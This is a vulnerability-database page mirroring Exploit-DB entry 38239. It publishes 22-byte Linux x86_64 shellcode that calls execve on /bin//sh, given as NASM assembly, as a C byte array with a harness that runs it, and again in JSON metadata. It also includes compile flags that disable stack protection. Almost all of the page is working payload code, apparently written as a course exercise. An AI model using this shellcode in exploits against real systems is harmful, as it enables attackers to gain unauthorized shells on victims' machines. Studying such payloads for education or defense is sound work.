Search...

Linux x86_64 execve Shellcode - 22 bytes

2015-09-18T00:00:00

ID EDB-ID:38239
Type exploitdb
Reporter d4sh&r;
Modified 2015-09-18T00:00:00

Description

Linux x86_64 execve Shellcode - 22 bytes. Shellcode exploit for lin_x86-64 platform

                                        
                                            ;Title: execve shellcode 22 bytes
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Shellcode in 22 bytes to get a shell 
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux

;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell

global _start

_start:
	mul esi
	push rdx                         
	mov rbx, 0x68732f2f6e69622f ;/bin//sh 
	push rbx
	lea rdi, [rsp] ;address of /bin//sh
	mov al, 59 ;execve
	syscall

/*compile with gcc -fno-stack-protector -z exestack */

unsigned char code[] = "\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

main()
{
   int (*ret)()=(int(*)()) code;
    ret();
}

JSON Vulners Source

Initial Source

{"id": "EDB-ID:38239", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Linux x86_64 execve Shellcode - 22 bytes", "description": "Linux x86_64 execve Shellcode - 22 bytes. Shellcode exploit for lin_x86-64 platform", "published": "2015-09-18T00:00:00", "modified": "2015-09-18T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/38239/", "reporter": "d4sh&r;", "references": [], "cvelist": [], "lastseen": "2016-02-04T07:38:05", "viewCount": 5, "enchantments": {"score": {"value": -0.4, "vector": "NONE", "modified": "2016-02-04T07:38:05", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-04T07:38:05", "rev": 2}, "vulnersScore": -0.4}, "sourceHref": "https://www.exploit-db.com/download/38239/", "sourceData": ";Title: execve shellcode 22 bytes\r\n;Author: d4sh&r\r\n;Contact: https://mx.linkedin.com/in/d4v1dvc\r\n;Category: Shellcode\r\n;Architecture:linux x86_64\r\n;SLAE64-1379\r\n;Description:\r\n;Shellcode in 22 bytes to get a shell \r\n;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux\r\n\r\n;Compilation and execution\r\n;nasm -felf64 shell.nasm -o shell.o\r\n;ld shell.o -o shell\r\n;./shell\r\n\r\nglobal _start\r\n\r\n_start:\r\n\tmul esi\r\n\tpush rdx \r\n\tmov rbx, 0x68732f2f6e69622f ;/bin//sh \r\n\tpush rbx\r\n\tlea rdi, [rsp] ;address of /bin//sh\r\n\tmov al, 59 ;execve\r\n\tsyscall\r\n\r\n/*compile with gcc -fno-stack-protector -z exestack */\r\n\r\nunsigned char code[] = \"\\xf7\\xe6\\x52\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x53\\x48\\x8d\\x3c\\x24\\xb0\\x3b\\x0f\\x05\";\r\n\r\nmain()\r\n{\r\n int (*ret)()=(int(*)()) code;\r\n ret();\r\n}", "osvdbidlist": []}